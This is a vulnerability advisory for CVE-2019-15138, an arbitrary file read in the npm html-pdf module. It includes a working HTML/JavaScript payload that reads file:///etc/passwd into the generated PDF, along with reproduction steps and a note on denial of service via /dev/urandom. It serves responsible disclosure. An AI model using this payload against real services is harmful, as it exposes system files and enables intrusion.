Node.js node-html-pdf Arbitrary File Read Vulnerability

23 September 2019

 

CVE   

 

CVE-2019-15138

 

CVSS SCORE

 

8.2 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L)

 

XID

 

XL-19-026

 

PRODUCT

 

 

 

Module name: node-html-pdf
Version: 2.2.0
Npm page: https://www.npmjs.com/package/html-pdf
Module description: HTML to PDF converter that uses PhantomJS
Module stats: Approx 53,000+ weekly downloads

 

AFFECTED VENDORS

 

 

npm (https://npmjs.com)

 

CREDIT

 

Rajanish Pathak - xen1thLabs - Software Labs

 

VULNERABILITY SUMMARY       

 

 

 

The npm (Node Package Manager) module html-pdf suffers from an arbitrary file read vulnerability where an attacker can supply a specially crafted HTML file to read arbitrary files on the system. This vulnerability affects all the Node JavaScript applications using this npm module.

 

TECHNICAL DETAILS    

 

 

The npm module takes HTML as input and dynamically generates a PDF out of the supplied content. By leveraging JavaScript in the supplied input HTML the application can be made to make XHR requests when parsing the HTML content. The file:/// scheme is enabled by default and it can be used to read local files as shown in the example below:

 

<html>
<head>
<body>
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
</body>
</head>
</html>

 

 

Passing the file as input to the module allows the script to read the contents of /etc/passwd and include it in the dynamically generated PDF output.

 

PROOF OF CONCEPT  

 

 

1. Install the html-pdf utility via npm: $ npm install -g html-pdf

2. Generate an HTML file with the following content

 

 

<html>
<head>
<body>
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
</body>
</head>
</html>

 

 

3. Code example: 

 

 

var fs = require('fs');
var pdf = require('html-pdf');
var html = fs.readFileSync('./malicious.html', 'utf8');
var options = { format: 'Letter' };
pdf.create(html, options).toFile('./malicious.pdf', function(err,
res) {
  if (err) return console.log(err);
  console.log(res); // { filename: '/malicious.pdf' }
});

 

 

The above example simulates a remote attack where in the application generates the PDF from an attacker supplied HTML.

 

4. To reproduce it locally, navigate to the npm modules directory: /node_modules/.bin/

5. Run the following command: $ html-pdf test.html(path to the HTML) test.pdf(path for PDF)

6. The following evidence is provided to illustrate the existence and exploitation of this vulnerability

 

 

 

 

 

7. The vulnerability also affects the availability of the app as reading the contents of /dev/urandom significantly impacts the CPU /memory usage of the  system by the process.

 

 

 

 

 

AFFECTED SYSTEMS  

  

 

All versions prior to 2.2.0

 

SOLUTION  

 

 

No fix is currently available. Consider using an alternative package until a fix is available. https://www.npmjs.com/advisories/1095

 

DISCLOSURE TIMELINE  

 

 

30/07/2019 - Reported to vendor

18/09/2019 - Vendor advisory

23/09/2019 - xen1thLabs public disclosure